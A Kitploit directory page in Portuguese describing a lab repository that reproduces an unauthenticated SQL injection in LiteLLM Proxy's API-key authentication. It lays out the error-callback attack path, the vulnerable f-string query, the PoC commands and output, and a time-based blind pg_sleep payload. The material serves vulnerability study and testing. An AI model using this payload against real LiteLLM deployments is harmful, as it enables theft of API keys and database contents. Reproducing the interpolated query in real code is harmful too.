Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-42208_lab — Ambiente de reprodução para uma injeção SQL crítica na autenticação de chave de API do LiteLLM Proxy, com PoC cego baseado em tempo e configuração Docker para testes. | Kitploit
Ferramentas/GitHubGitHub/imjdl/cve-2026-42208_lab
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubimjdl/cve-2026-42208_lab

CVE-2026-42208_lab

Ambiente de reprodução para uma injeção SQL crítica na autenticação de chave de API do LiteLLM Proxy, com PoC cego baseado em tempo e configuração Docker para testes.

Ver Repositório
1há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Injeção SQL no LiteLLM Proxy (GHSA-r75f-5x8p-qvmc)

Um ambiente de reprodução para a vulnerabilidade de injeção SQL no fluxo de autenticação de chaves de API do LiteLLM Proxy.

Resumo da Vulnerabilidade

ItemDetalhe
AvisoGHSA-r75f-5x8p-qvmc
TipoInjeção SQL (CWE-89)
GravidadeCrítica
Afetadoslitellm >=1.81.16, <1.83.7
Corrigidolitellm >=1.83.7 (commit 4dc416ee74)

Caminho do Ataque

A injeção ocorre no caminho do callback de tratamento de erros, não no fluxo principal de autenticação. Quando um token sem o prefixo sk- é enviado, a asserção falha e o token bruto (sem hash) flui pela cadeia de callbacks de falha até uma consulta SQL que usa interpolação de f-string:

root@kitploit:~
HTTP request: Authorization: Bearer <payload>
  → assert api_key.startswith("sk-") falha
  → _handle_authentication_error(api_key=TOKEN_BRUTO)
  → post_call_failure_hook
  → _enrich_failure_metadata_with_key_info
  → get_key_object(hashed_token=TOKEN_BRUTO)
  → get_data(token=TOKEN_BRUTO, table_name="combined_view")
  → SQL: WHERE v.token = '{TOKEN_BRUTO}'  ← INJEÇÃO

O caminho principal de autenticação com sk- não é explorável porque os tokens são submetidos a hash SHA256 antes de chegarem à consulta, produzindo apenas caracteres [0-9a-f].

Reprodução

1. Inicie o ambiente vulnerável

root@kitploit:~
docker compose up -d

Isso inicia o LiteLLM Proxy (v1.83.3-stable) com um backend PostgreSQL.

2. Execute o PoC

root@kitploit:~
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5

Saída esperada

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║   LiteLLM Proxy SQL Injection PoC                        ║
║   GHSA-r75f-5x8p-qvmc | CVE: Pendente                    ║
║   Afetados: litellm >=1.81.16, <1.83.7                   ║
║   Ataque: cego baseado em tempo via callback de tratamento de erros ║
╚═══════════════════════════════════════════════════════════╝

[*] Verificando alvo: http://localhost:4000
[+] Alvo ativo (status 200)

[*] Medindo linha de base (3 requisições)...
  Média da linha de base: 0.022s

[*] Controle: token sem sk- sem pg_sleep...
  Controle: 0.024s

=======================================================
  Injeção SQL cega baseada em tempo (pg_sleep=5s)
=======================================================
  Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
  Resposta: 5.018s

[+] VULNERÁVEL! pg_sleep(5) confirmado

Detalhes Técnicos

Construção do payload

A função pg_sleep() do PostgreSQL retorna void, que não pode aparecer em um contexto booleano (OR). O payload a envolve em uma subconsulta para evitar o erro de tipo:

root@kitploit:~
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--

Isso é injetado na consulta combined_view em litellm/proxy/utils.py:

root@kitploit:~
# Código vulnerável (<=v1.83.3)
sql_query = f"""
    SELECT v.*, t.spend AS team_spend, ...
    FROM "LiteLLM_VerificationToken" AS v
    LEFT JOIN ...
    WHERE v.token = '{token}'   ← interpolação de f-string da entrada do usuário
"""

Impacto

  • Não autenticado — nenhuma chave de API válida é necessária
  • Acesso de leitura ao banco de dados — extraia qualquer dado via injeção cega (chaves de API, credenciais, configuração)
  • Todas as chaves de provedores de LLM gerenciadas pelo proxy estão em risco

Referências

  • Aviso de Segurança do GitHub
  • Commit de correção 4dc416ee74
  • Relatório de inteligência de ameaças do Sysdig TRT — exploração observada na natureza em até 36 horas após a divulgação
Baixar ferramenta